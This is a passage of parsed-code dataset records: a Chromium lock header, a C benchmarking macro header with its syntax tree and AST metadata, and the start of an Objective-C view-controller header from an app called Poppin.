{"node_id": 12, "text": "#include \"gpu/gpu_gles2_export.h\"\n"}, {"node_id": 13, "text": "#include"}]}, "original_source_code": "// Copyright 2021 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef GPU_COMMAND_BUFFER_SERVICE_REF_COUNTED_LOCK_H_\n#define GPU_COMMAND_BUFFER_SERVICE_REF_COUNTED_LOCK_H_\n\n#include \"base/memory/ref_counted.h\"\n#include \"base/synchronization/lock.h\"\n#include \"gpu/gpu_gles2_export.h\"\n\nnamespace gpu {\n\n// Ref counted wrapper for base::Lock.\nclass GPU_GLES2_EXPORT RefCountedLock\n : public base::RefCountedThreadSafe<RefCountedLock> {\n public:\n RefCountedLock() = default;\n\n // Disallow copy and assign.\n RefCountedLock(const RefCountedLock&) = delete;\n RefCountedLock& operator=(const RefCountedLock&) = delete;\n\n base::Lock* GetDrDcLockPtr() { return &lock_; }\n void AssertAcquired() { lock_.AssertAcquired(); }\n\n private:\n friend class base::RefCountedThreadSafe<RefCountedLock>;\n ~RefCountedLock() = default;\n\n base::Lock lock_;\n};\n\n// Helper class for handling RefCountedLock for drdc usage.\nclass GPU_GLES2_EXPORT RefCountedLockHelperDrDc {\n public:\n explicit RefCountedLockHelperDrDc(scoped_refptr<RefCountedLock> lock);\n ~RefCountedLockHelperDrDc();\n\n base::Lock* GetDrDcLockPtr() const {\n return lock_ ? lock_->GetDrDcLockPtr() : nullptr;\n }\n\n const scoped_refptr<RefCountedLock>& GetDrDcLock() { return lock_; }\n\n void AssertAcquiredDrDcLock() const {\n if (lock_)\n lock_->AssertAcquired();\n }\n\n std::unique_ptr<base::AutoLockMaybe> GetScopedDrDcLock() const {\n return std::make_unique<base::AutoLockMaybe>(GetDrDcLockPtr());\n }\n\n private:\n mutable scoped_refptr<RefCountedLock> lock_;\n};\n\n} // namespace gpu\n\n#endif // GPU_COMMAND_BUFFER_SERVICE_REF_COUNTED_LOCK_H_\n"}
81,192
c
///////////////////////////////////////////////////////////////////////////// // Copyright (c) 2012, <NAME>. // This code is released under the MIT License. // www.opensource.org/licenses/mit-license.php ///////////////////////////////////////////////////////////////////////////// #ifndef _BENCHMARK_COMMON_H_ #define _BENCHMARK_COMMON_H_ #include "timer.h" #if defined(_DEBUG) #define ITER_MULT 1 #else #define ITER_MULT 2 #endif #if !defined(ENABLE_BENCHMARK) #define ENABLE_BENCHMARK 1 #endif #if ENABLE_BENCHMARK #define BENCHMARK(desc,func,iters) { \ timed_run timed(desc); \ for (size_t i = 0; i < iters; ++i) { \ func; \ } \ } #define run_impl(func,iters) BENCHMARK(#func,func,iters) #define run(func,iters) run_impl(func,iters) #else #define run(func,iters) { fp::print(#func); let result = func; fp::print(result); fp::print("");} typedef int FP_CONCAT(RETURNS_,__LINE__) #endif #endif /* _BENCHMARK_COMMON_H_ */
39.04
26
(translation_unit) "/////////////////////////////////////////////////////////////////////////////\n// Copyright (c) 2012, <NAME>.\n// This code is released under the MIT License.\n// www.opensource.org/licenses/mit-license.php\n/////////////////////////////////////////////////////////////////////////////\n\n#ifndef _BENCHMARK_COMMON_H_\n#define _BENCHMARK_COMMON_H_\n\n#include "timer.h"\n\n#if defined(_DEBUG)\n#define ITER_MULT 1\n#else\n#define ITER_MULT 2\n#endif\n\n#if !defined(ENABLE_BENCHMARK)\n#define ENABLE_BENCHMARK 1\n#endif\n\n#if ENABLE_BENCHMARK\n#define BENCHMARK(desc,func,iters) { \\n timed_run timed(desc); \\n for (size_t i = 0; i < iters; ++i) { \\n func; \\n } \\n }\n\n#define run_impl(func,iters) BENCHMARK(#func,func,iters)\n#define run(func,iters) run_impl(func,iters)\n#else\n#define run(func,iters) { fp::print(#func); let result = func; fp::print(result); fp::print("");} typedef int FP_CONCAT(RETURNS_,__LINE__)\n#endif\n\n#endif /* _BENCHMARK_COMMON_H_ */\n" (comment) "/////////////////////////////////////////////////////////////////////////////" (comment) "// Copyright (c) 2012, <NAME>." (comment) "// This code is released under the MIT License." (comment) "// www.opensource.org/licenses/mit-license.php" (comment) "/////////////////////////////////////////////////////////////////////////////" (preproc_ifdef) "#ifndef _BENCHMARK_COMMON_H_\n#define _BENCHMARK_COMMON_H_\n\n#include "timer.h"\n\n#if defined(_DEBUG)\n#define ITER_MULT 1\n#else\n#define ITER_MULT 2\n#endif\n\n#if !defined(ENABLE_BENCHMARK)\n#define ENABLE_BENCHMARK 1\n#endif\n\n#if ENABLE_BENCHMARK\n#define BENCHMARK(desc,func,iters) { \\n timed_run timed(desc); \\n for (size_t i = 0; i < iters; ++i) { \\n func; \\n } \\n }\n\n#define run_impl(func,iters) BENCHMARK(#func,func,iters)\n#define run(func,iters) run_impl(func,iters)\n#else\n#define run(func,iters) { fp::print(#func); let result = func; fp::print(result); fp::print("");} typedef int FP_CONCAT(RETURNS_,__LINE__)\n#endif\n\n#endif" (#ifndef) "#ifndef" (identifier) "_BENCHMARK_COMMON_H_" (preproc_def) "#define _BENCHMARK_COMMON_H_\n" (#define) "#define" (identifier) "_BENCHMARK_COMMON_H_" (preproc_include) "#include "timer.h"\n" (#include) "#include" (string_literal) ""timer.h"" (") """ (string_content) "timer.h" (") """ (preproc_if) "#if defined(_DEBUG)\n#define ITER_MULT 1\n#else\n#define ITER_MULT 2\n#endif" (#if) "#if" (preproc_defined) "defined(_DEBUG)" (defined) "defined" (() "(" (identifier) "_DEBUG" ()) ")" ( ) "\n" (preproc_def) "#define ITER_MULT 1\n" (#define) "#define" (identifier) "ITER_MULT" (preproc_arg) "1" (preproc_else) "#else\n#define ITER_MULT 2\n" (#else) "#else" (preproc_def) "#define ITER_MULT 2\n" (#define) "#define" (identifier) "ITER_MULT" (preproc_arg) "2" (#endif) "#endif" (preproc_if) "#if !defined(ENABLE_BENCHMARK)\n#define ENABLE_BENCHMARK 1\n#endif" (#if) "#if" (unary_expression) "!defined(ENABLE_BENCHMARK)" (!) "!" (preproc_defined) "defined(ENABLE_BENCHMARK)" (defined) "defined" (() "(" (identifier) "ENABLE_BENCHMARK" ()) ")" ( ) "\n" (preproc_def) "#define ENABLE_BENCHMARK 1\n" (#define) "#define" (identifier) "ENABLE_BENCHMARK" (preproc_arg) "1" (#endif) "#endif" (preproc_if) "#if ENABLE_BENCHMARK\n#define BENCHMARK(desc,func,iters) { \\n timed_run timed(desc); \\n for (size_t i = 0; i < iters; ++i) { \\n func; \\n } \\n }\n\n#define run_impl(func,iters) BENCHMARK(#func,func,iters)\n#define run(func,iters) run_impl(func,iters)\n#else\n#define run(func,iters) { fp::print(#func); let result = func; fp::print(result); fp::print("");} typedef int FP_CONCAT(RETURNS_,__LINE__)\n#endif" (#if) "#if" (identifier) "ENABLE_BENCHMARK" ( ) "\n" (preproc_function_def) "#define BENCHMARK(desc,func,iters) { \\n timed_run timed(desc); \\n for (size_t i = 0; i < iters; ++i) { \\n func; \\n } \\n }\n" (#define) "#define" (identifier) "BENCHMARK" (preproc_params) "(desc,func,iters)" (() "(" (identifier) "desc" (,) "," (identifier) "func" (,) "," (identifier) "iters" ()) ")" (preproc_arg) "{ \\n timed_run timed(desc); \\n for (size_t i = 0; i < iters; ++i) { \\n func; \\n } \\n }" (preproc_function_def) "#define run_impl(func,iters) BENCHMARK(#func,func,iters)\n" (#define) "#define" (identifier) "run_impl" (preproc_params) "(func,iters)" (() "(" (identifier) "func" (,) "," (identifier) "iters" ()) ")" (preproc_arg) "BENCHMARK(#func,func,iters)" (preproc_function_def) "#define run(func,iters) run_impl(func,iters)\n" (#define) "#define" (identifier) "run" (preproc_params) "(func,iters)" (() "(" (identifier) "func" (,) "," (identifier) "iters" ()) ")" (preproc_arg) "run_impl(func,iters)" (preproc_else) "#else\n#define run(func,iters) { fp::print(#func); let result = func; fp::print(result); fp::print("");} typedef int FP_CONCAT(RETURNS_,__LINE__)\n" (#else) "#else" (preproc_function_def) "#define run(func,iters) { fp::print(#func); let result = func; fp::print(result); fp::print("");} typedef int FP_CONCAT(RETURNS_,__LINE__)\n" (#define) "#define" (identifier) "run" (preproc_params) "(func,iters)" (() "(" (identifier) "func" (,) "," (identifier) "iters" ()) ")" (preproc_arg) "{ fp::print(#func); let result = func; fp::print(result); fp::print("");} typedef int FP_CONCAT(RETURNS_,__LINE__)" (#endif) "#endif" (#endif) "#endif" (comment) "/* _BENCHMARK_COMMON_H_ */"
103
0
{"language": "c", "success": true, "metadata": {"lines": 26, "avg_line_length": 39.04, "nodes": 76, "errors": 0, "source_hash": "e9808dd0aa964f3a0c2f0b49733ac23197b0bb43cedeb46b18d06e82e20dca51", "categorized_nodes": 41}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef _BENCHMARK_COMMON_H_\n#define _BENCHMARK_COMMON_H_\n\n#include \"timer.h\"\n\n#if defined(_DEBUG)\n#define ITER_MULT 1\n#else\n#define ITER_MULT 2\n#endif\n\n#if !defined(ENABLE_BENCHMARK)\n#define ENABLE_BENCHMARK 1\n#endif\n\n#if ENABLE_BENCHMARK\n#define BENCHMARK(desc,func,iters) { \\\n timed_run timed(desc); \\\n for (size_t i = 0; i < iters; ++i) { \\\n func; \\\n } \\\n }\n\n#define run_impl(func,iters) BENCHMARK(#func,func,iters)\n#define run(func,iters) run_impl(func,iters)\n#else\n#define run(func,iters) { fp::print(#func); let result = func; fp::print(result); fp::print(\"\");} typedef int FP_CONCAT(RETURNS_,__LINE__)\n#endif\n\n#endif", "parent": null, "children": [1, 2, 3, 6, 9, 26, 39, 75], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 35, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 6, "column": 7}}, {"id": 2, "type": "identifier", "text": "_BENCHMARK_COMMON_H_", "parent": 0, "children": [], "start_point": {"row": 6, "column": 8}, "end_point": {"row": 6, "column": 28}}, {"id": 3, "type": "preproc_def", "text": "#define _BENCHMARK_COMMON_H_\n", "parent": 0, "children": [4, 5], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 8, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 7, "column": 7}}, {"id": 5, "type": "identifier", "text": "_BENCHMARK_COMMON_H_", "parent": 3, "children": [], "start_point": {"row": 7, "column": 8}, "end_point": {"row": 7, "column": 28}}, {"id": 6, "type": "preproc_include", "text": "#include \"timer.h\"\n", "parent": 0, "children": [7, 8], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 10, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 8}}, {"id": 8, "type": "string_literal", "text": "\"timer.h\"", "parent": 6, "children": [], "start_point": {"row": 9, "column": 9}, "end_point": {"row": 9, "column": 18}}, {"id": 9, "type": "preproc_if", "text": "#if defined(_DEBUG)\n#define ITER_MULT 1\n#else\n#define ITER_MULT 2\n#endif", "parent": 0, "children": [10, 11, 14, 15, 19, 25], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 15, "column": 6}}, {"id": 10, "type": "#if", "text": "#if", "parent": 9, "children": [], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 3}}, {"id": 11, "type": "preproc_defined", "text": "defined(_DEBUG)", "parent": 9, "children": [12, 13], "start_point": {"row": 11, "column": 4}, "end_point": {"row": 11, "column": 19}}, {"id": 12, "type": "defined", "text": "defined", "parent": 11, "children": [], "start_point": {"row": 11, "column": 4}, "end_point": {"row": 11, "column": 11}}, {"id": 13, "type": "identifier", "text": "_DEBUG", "parent": 11, "children": [], "start_point": {"row": 11, "column": 12}, "end_point": {"row": 11, "column": 18}}, {"id": 14, "type": "\n", "text": "\n", "parent": 9, "children": [], "start_point": {"row": 11, "column": 19}, "end_point": {"row": 12, "column": 0}}, {"id": 15, "type": "preproc_def", "text": "#define ITER_MULT 1\n", "parent": 9, "children": [16, 17, 18], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 13, "column": 0}}, {"id": 16, "type": "#define", "text": "#define", "parent": 15, "children": [], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 7}}, {"id": 17, "type": "identifier", "text": "ITER_MULT", "parent": 15, "children": [], "start_point": {"row": 12, "column": 8}, "end_point": {"row": 12, "column": 17}}, {"id": 18, "type": "preproc_arg", "text": "1", "parent": 15, "children": [], "start_point": {"row": 12, "column": 18}, "end_point": {"row": 12, "column": 19}}, {"id": 19, "type": "preproc_else", "text": "#else\n#define ITER_MULT 2\n", "parent": 9, "children": [20, 21], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 15, "column": 0}}, {"id": 20, "type": "#else", "text": "#else", "parent": 19, "children": [], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 5}}, {"id": 21, "type": "preproc_def", "text": "#define ITER_MULT 2\n", "parent": 19, "children": [22, 23, 24], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 15, "column": 0}}, {"id": 22, "type": "#define", "text": "#define", "parent": 21, "children": [], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 14, "column": 7}}, {"id": 23, "type": "identifier", "text": "ITER_MULT", "parent": 21, "children": [], "start_point": {"row": 14, "column": 8}, "end_point": {"row": 14, "column": 17}}, {"id": 24, "type": "preproc_arg", "text": "2", "parent": 21, "children": [], "start_point": {"row": 14, "column": 18}, "end_point": {"row": 14, "column": 19}}, {"id": 25, "type": "#endif", "text": "#endif", "parent": 9, "children": [], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 6}}, {"id": 26, "type": "preproc_if", "text": "#if !defined(ENABLE_BENCHMARK)\n#define ENABLE_BENCHMARK 1\n#endif", "parent": 0, "children": [27, 28, 33, 34, 38], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 19, "column": 6}}, {"id": 27, "type": "#if", "text": "#if", "parent": 26, "children": [], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 17, "column": 3}}, {"id": 28, "type": "unary_expression", "text": "!defined(ENABLE_BENCHMARK)", "parent": 26, "children": [29, 30], "start_point": {"row": 17, "column": 4}, "end_point": {"row": 17, "column": 30}}, {"id": 29, "type": "!", "text": "!", "parent": 28, "children": [], "start_point": {"row": 17, "column": 4}, "end_point": {"row": 17, "column": 5}}, {"id": 30, "type": "preproc_defined", "text": "defined(ENABLE_BENCHMARK)", "parent": 28, "children": [31, 32], "start_point": {"row": 17, "column": 5}, "end_point": {"row": 17, "column": 30}}, {"id": 31, "type": "defined", "text": "defined", "parent": 30, "children": [], "start_point": {"row": 17, "column": 5}, "end_point": {"row": 17, "column": 12}}, {"id": 32, "type": "identifier", "text": "ENABLE_BENCHMARK", "parent": 30, "children": [], "start_point": {"row": 17, "column": 13}, "end_point": {"row": 17, "column": 29}}, {"id": 33, "type": "\n", "text": "\n", "parent": 26, "children": [], "start_point": {"row": 17, "column": 30}, "end_point": {"row": 18, "column": 0}}, {"id": 34, "type": "preproc_def", "text": "#define ENABLE_BENCHMARK 1\n", "parent": 26, "children": [35, 36, 37], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 19, "column": 0}}, {"id": 35, "type": "#define", "text": "#define", "parent": 34, "children": [], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 7}}, {"id": 36, "type": "identifier", "text": "ENABLE_BENCHMARK", "parent": 34, "children": [], "start_point": {"row": 18, "column": 8}, "end_point": {"row": 18, "column": 24}}, {"id": 37, "type": "preproc_arg", "text": "1", "parent": 34, "children": [], "start_point": {"row": 18, "column": 25}, "end_point": {"row": 18, "column": 26}}, {"id": 38, "type": "#endif", "text": "#endif", "parent": 26, "children": [], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 19, "column": 6}}, {"id": 39, "type": "preproc_if", "text": "#if ENABLE_BENCHMARK\n#define BENCHMARK(desc,func,iters) { \\\n timed_run timed(desc); \\\n for (size_t i = 0; i < iters; ++i) { \\\n func; \\\n } \\\n }\n\n#define run_impl(func,iters) BENCHMARK(#func,func,iters)\n#define run(func,iters) run_impl(func,iters)\n#else\n#define run(func,iters) { fp::print(#func); let result = func; fp::print(result); fp::print(\"\");} typedef int FP_CONCAT(RETURNS_,__LINE__)\n#endif", "parent": 0, "children": [40, 41, 42, 43, 51, 58, 65, 74], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 33, "column": 6}}, {"id": 40, "type": "#if", "text": "#if", "parent": 39, "children": [], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 21, "column": 3}}, {"id": 41, "type": "identifier", "text": "ENABLE_BENCHMARK", "parent": 39, "children": [], "start_point": {"row": 21, "column": 4}, "end_point": {"row": 21, "column": 20}}, {"id": 42, "type": "\n", "text": "\n", "parent": 39, "children": [], "start_point": {"row": 21, "column": 20}, "end_point": {"row": 22, "column": 0}}, {"id": 43, "type": "preproc_function_def", "text": "#define BENCHMARK(desc,func,iters) { \\\n timed_run timed(desc); \\\n for (size_t i = 0; i < iters; ++i) { \\\n func; \\\n } \\\n }\n", "parent": 39, "children": [44, 45, 46, 50], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 28, "column": 0}}, {"id": 44, "type": "#define", "text": "#define", "parent": 43, "children": [], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 22, "column": 7}}, {"id": 45, "type": "identifier", "text": "BENCHMARK", "parent": 43, "children": [], "start_point": {"row": 22, "column": 8}, "end_point": {"row": 22, "column": 17}}, {"id": 46, "type": "preproc_params", "text": "(desc,func,iters)", "parent": 43, "children": [47, 48, 49], "start_point": {"row": 22, "column": 17}, "end_point": {"row": 22, "column": 34}}, {"id": 47, "type": "identifier", "text": "desc", "parent": 46, "children": [], "start_point": {"row": 22, "column": 18}, "end_point": {"row": 22, "column": 22}}, {"id": 48, "type": "identifier", "text": "func", "parent": 46, "children": [], "start_point": {"row": 22, "column": 23}, "end_point": {"row": 22, "column": 27}}, {"id": 49, "type": "identifier", "text": "iters", "parent": 46, "children": [], "start_point": {"row": 22, "column": 28}, "end_point": {"row": 22, "column": 33}}, {"id": 50, "type": "preproc_arg", "text": "{ \\\n timed_run timed(desc); \\\n for (size_t i = 0; i < iters; ++i) { \\\n func; \\\n } \\\n }", "parent": 43, "children": [], "start_point": {"row": 22, "column": 35}, "end_point": {"row": 27, "column": 3}}, {"id": 51, "type": "preproc_function_def", "text": "#define run_impl(func,iters) BENCHMARK(#func,func,iters)\n", "parent": 39, "children": [52, 53, 54, 57], "start_point": {"row": 29, "column": 0}, "end_point": {"row": 30, "column": 0}}, {"id": 52, "type": "#define", "text": "#define", "parent": 51, "children": [], "start_point": {"row": 29, "column": 0}, "end_point": {"row": 29, "column": 7}}, {"id": 53, "type": "identifier", "text": "run_impl", "parent": 51, "children": [], "start_point": {"row": 29, "column": 8}, "end_point": {"row": 29, "column": 16}}, {"id": 54, "type": "preproc_params", "text": "(func,iters)", "parent": 51, "children": [55, 56], "start_point": {"row": 29, "column": 16}, "end_point": {"row": 29, "column": 28}}, {"id": 55, "type": "identifier", "text": "func", "parent": 54, "children": [], "start_point": {"row": 29, "column": 17}, "end_point": {"row": 29, "column": 21}}, {"id": 56, "type": "identifier", "text": "iters", "parent": 54, "children": [], "start_point": {"row": 29, "column": 22}, "end_point": {"row": 29, "column": 27}}, {"id": 57, "type": "preproc_arg", "text": "BENCHMARK(#func,func,iters)", "parent": 51, "children": [], "start_point": {"row": 29, "column": 29}, "end_point": {"row": 29, "column": 56}}, {"id": 58, "type": "preproc_function_def", "text": "#define run(func,iters) run_impl(func,iters)\n", "parent": 39, "children": [59, 60, 61, 64], "start_point": {"row": 30, "column": 0}, "end_point": {"row": 31, "column": 0}}, {"id": 59, "type": "#define", "text": "#define", "parent": 58, "children": [], "start_point": {"row": 30, "column": 0}, "end_point": {"row": 30, "column": 7}}, {"id": 60, "type": "identifier", "text": "run", "parent": 58, "children": [], "start_point": {"row": 30, "column": 8}, "end_point": {"row": 30, "column": 11}}, {"id": 61, "type": "preproc_params", "text": "(func,iters)", "parent": 58, "children": [62, 63], "start_point": {"row": 30, "column": 11}, "end_point": {"row": 30, "column": 23}}, {"id": 62, "type": "identifier", "text": "func", "parent": 61, "children": [], "start_point": {"row": 30, "column": 12}, "end_point": {"row": 30, "column": 16}}, {"id": 63, "type": "identifier", "text": "iters", "parent": 61, "children": [], "start_point": {"row": 30, "column": 17}, "end_point": {"row": 30, "column": 22}}, {"id": 64, "type": "preproc_arg", "text": "run_impl(func,iters)", "parent": 58, "children": [], "start_point": {"row": 30, "column": 24}, "end_point": {"row": 30, "column": 44}}, {"id": 65, "type": "preproc_else", "text": "#else\n#define run(func,iters) { fp::print(#func); let result = func; fp::print(result); fp::print(\"\");} typedef int FP_CONCAT(RETURNS_,__LINE__)\n", "parent": 39, "children": [66, 67], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 33, "column": 0}}, {"id": 66, "type": "#else", "text": "#else", "parent": 65, "children": [], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 31, "column": 5}}, {"id": 67, "type": "preproc_function_def", "text": "#define run(func,iters) { fp::print(#func); let result = func; fp::print(result); fp::print(\"\");} typedef int FP_CONCAT(RETURNS_,__LINE__)\n", "parent": 65, "children": [68, 69, 70, 73], "start_point": {"row": 32, "column": 0}, "end_point": {"row": 33, "column": 0}}, {"id": 68, "type": "#define", "text": "#define", "parent": 67, "children": [], "start_point": {"row": 32, "column": 0}, "end_point": {"row": 32, "column": 7}}, {"id": 69, "type": "identifier", "text": "run", "parent": 67, "children": [], "start_point": {"row": 32, "column": 8}, "end_point": {"row": 32, "column": 11}}, {"id": 70, "type": "preproc_params", "text": "(func,iters)", "parent": 67, "children": [71, 72], "start_point": {"row": 32, "column": 11}, "end_point": {"row": 32, "column": 23}}, {"id": 71, "type": "identifier", "text": "func", "parent": 70, "children": [], "start_point": {"row": 32, "column": 12}, "end_point": {"row": 32, "column": 16}}, {"id": 72, "type": "identifier", "text": "iters", "parent": 70, "children": [], "start_point": {"row": 32, "column": 17}, "end_point": {"row": 32, "column": 22}}, {"id": 73, "type": "preproc_arg", "text": "{ fp::print(#func); let result = func; fp::print(result); fp::print(\"\");} typedef int FP_CONCAT(RETURNS_,__LINE__)", "parent": 67, "children": [], "start_point": {"row": 32, "column": 24}, "end_point": {"row": 32, "column": 138}}, {"id": 74, "type": "#endif", "text": "#endif", "parent": 39, "children": [], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 33, "column": 6}}, {"id": 75, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 35, "column": 6}}]}, "node_categories": {"declarations": {"functions": [43, 51, 58, 67], "variables": [], "classes": [], "imports": [6, 7], "modules": [], "enums": []}, "statements": {"expressions": [28], "assignments": [], "loops": [], "conditionals": [0, 1, 2, 5, 9, 10, 13, 17, 23, 25, 26, 27, 32, 36, 38, 39, 40, 41, 45, 47, 48, 49, 53, 55, 56, 60, 62, 63, 69, 71, 72, 74, 75], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [8], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 43, "universal_type": "function", "name": "unknown", "text_snippet": "#define BENCHMARK(desc,func,iters) { \\\n timed_run timed(desc); \\\n for (size_"}, {"node_id": 51, "universal_type": "function", "name": "unknown", "text_snippet": "#define run_impl(func,iters) BENCHMARK(#func,func,iters)\n"}, {"node_id": 58, "universal_type": "function", "name": "unknown", "text_snippet": "#define run(func,iters) run_impl(func,iters)\n"}, {"node_id": 67, "universal_type": "function", "name": "FP_CONCAT", "text_snippet": "#define run(func,iters) { fp::print(#func); let result = func; fp::print(result); fp::print(\"\");} ty"}], "class_declarations": [], "import_statements": [{"node_id": 6, "text": "#include \"timer.h\"\n"}, {"node_id": 7, "text": "#include"}]}, "original_source_code": "/////////////////////////////////////////////////////////////////////////////\n// Copyright (c) 2012, <NAME>.\n// This code is released under the MIT License.\n// www.opensource.org/licenses/mit-license.php\n/////////////////////////////////////////////////////////////////////////////\n\n#ifndef _BENCHMARK_COMMON_H_\n#define _BENCHMARK_COMMON_H_\n\n#include \"timer.h\"\n\n#if defined(_DEBUG)\n#define ITER_MULT 1\n#else\n#define ITER_MULT 2\n#endif\n\n#if !defined(ENABLE_BENCHMARK)\n#define ENABLE_BENCHMARK 1\n#endif\n\n#if ENABLE_BENCHMARK\n#define BENCHMARK(desc,func,iters) { \\\n timed_run timed(desc); \\\n for (size_t i = 0; i < iters; ++i) { \\\n func; \\\n } \\\n }\n\n#define run_impl(func,iters) BENCHMARK(#func,func,iters)\n#define run(func,iters) run_impl(func,iters)\n#else\n#define run(func,iters) { fp::print(#func); let result = func; fp::print(result); fp::print(\"\");} typedef int FP_CONCAT(RETURNS_,__LINE__)\n#endif\n\n#endif /* _BENCHMARK_COMMON_H_ */\n"}
81,193
c
// // PAWProfileViewController.h // Poppin // // Created by <NAME> on 5/10/16. // Copyright © 2016 <NAME>. All rights reserved. // #ifndef PAWProfileViewController_h #define PAWProfileViewController_h #import "PAWPost.h" #import "NavController.h" #endif /* PAWProfileViewController_h */ #import <Parse/Parse.h> #import <ParseUI/ParseUI.h> @class PAWPostFullPage; @protocol PAWPostFullPageDelegate <NSObject> -(void)addItemViewController:(PAWPostFullPage *)controller sendDataToA:(MKDirections *)directions; //I am thinking my data is NSArray, you can use another object for store your information. @end @interface PAWPostFullPage : PFQueryTableViewController <UIAlertViewDelegate,UITableViewDelegate,UISearchBarDelegate> { PAWPost *friendsPost; BOOL requestInProgress; BOOL forceRefresh; PFUser *friend; MKDirectionsRequest *request; MKDirections *directions; } -(void)showModalViewController:(UIViewController *)modalViewController; -(void)closeModalViewController; - (id)initWithPost:(PAWPost *)post; - (UIImage *)imageWithImage:(UIImage *)image scaledToSize:(CGSize)newSize; -(void)showAlertWithMessage:(NSString *)message; @property (nonatomic, strong) UITextField *commentTextField; @property (nonatomic, strong) IBOutlet UITableView *friendsTable; @property(nonatomic, strong) CLLocation *myLocation; @property (nonatomic, weak) id<PAWPostFullPageDelegate> delegate; @property (strong, nonatomic) UINavigationController *navController; @property (nonatomic, strong)IBOutlet UIView *scrollView; @end
34.74
43
(translation_unit) "//\n// PAWProfileViewController.h\n// Poppin\n//\n// Created by <NAME> on 5/10/16.\n// Copyright © 2016 <NAME>. All rights reserved.\n//\n\n#ifndef PAWProfileViewController_h\n#define PAWProfileViewController_h\n\n#import "PAWPost.h"\n#import "NavController.h"\n\n#endif /* PAWProfileViewController_h */\n#import <Parse/Parse.h>\n#import <ParseUI/ParseUI.h>\n@class PAWPostFullPage;\n\n\n@protocol PAWPostFullPageDelegate <NSObject>\n-(void)addItemViewController:(PAWPostFullPage *)controller sendDataToA:(MKDirections *)directions; //I am thinking my data is NSArray, you can use another object for store your information.\n\n\n@end\n@interface PAWPostFullPage : PFQueryTableViewController <UIAlertViewDelegate,UITableViewDelegate,UISearchBarDelegate>\n{\n PAWPost *friendsPost;\n BOOL requestInProgress;\n BOOL forceRefresh;\n\n PFUser *friend;\n MKDirectionsRequest *request;\n MKDirections *directions;\n}\n\n\n-(void)showModalViewController:(UIViewController *)modalViewController;\n-(void)closeModalViewController;\n- (id)initWithPost:(PAWPost *)post;\n\n- (UIImage *)imageWithImage:(UIImage *)image scaledToSize:(CGSize)newSize;\n-(void)showAlertWithMessage:(NSString *)message;\n@property (nonatomic, strong) UITextField *commentTextField;\n@property (nonatomic, strong) IBOutlet UITableView *friendsTable;\n@property(nonatomic, strong) CLLocation *myLocation;\n@property (nonatomic, weak) id<PAWPostFullPageDelegate> delegate;\n@property (strong, nonatomic) UINavigationController *navController;\n@property (nonatomic, strong)IBOutlet UIView *scrollView;\n\n\n@end\n\n" (comment) "//" (comment) "// PAWProfileViewController.h" (comment) "// Poppin" (comment) "//" (comment) "// Created by <NAME> on 5/10/16." (comment) "// Copyright © 2016 <NAME>. All rights reserved.\n" (comment) "/\n" (preproc_ifdef) "ifndef PAWProfileViewController_h\n#define PAWProfileViewController_h\n\n#import "PAWPost.h"\n#import "NavController.h"\n\n#endif " (#ifndef) "ifndef " (identifier) "AWProfileViewController_h\n" (preproc_def) "define PAWProfileViewController_h\n\n" (#define) "define " (identifier) "AWProfileViewController_h\n" (preproc_call) "import "PAWPost.h"\n#" (preproc_directive) "import " (preproc_arg) "PAWPost.h"\n" (preproc_call) "import "NavController.h"\n\n" (preproc_directive) "import " (preproc_arg) "NavController.h"\n" (#endif) "endif " (comment) "* PAWProfileViewController_h */\n" (preproc_call) "import <Parse/Parse.h>\n#" (preproc_directive) "import " (preproc_arg) "Parse/Parse.h>\n" (preproc_call) "import <ParseUI/ParseUI.h>\n@" (preproc_directive) "import " (preproc_arg) "ParseUI/ParseUI.h>\n" (ERROR) "c" (ERROR) "c" (declaration) "lass PAWPostFullPage;\n" (type_identifier) "lass " (identifier) "AWPostFullPage;" (;) "\n" (ERROR) "protocol PAWPostFullPageDelegate <NSObject>\n-(void)addItemViewController:(PAWPostFullPage *)controller sendDataToA:(MKDirections *)directions;" (ERROR) "p" (type_identifier) "rotocol " (identifier) "AWPostFullPageDelegate " (<) "N" (identifier) "SObject>" (>) "\n" (unary_expression) "(void)addItemViewController:" (-) "(" (cast_expression) "void)addItemViewController:" (() "v" (type_descriptor) "oid)" (primitive_type) "oid)" ()) "a" (identifier) "ddItemViewController:" (:) "(" (() "P" (binary_expression) "AWPostFullPage *)controller sendDataToA:" (identifier) "AWPostFullPage " (*) ")" (ERROR) "controller " ()) "c" (identifier) "ontroller " (identifier) "endDataToA:" (:) "(" (() "M" 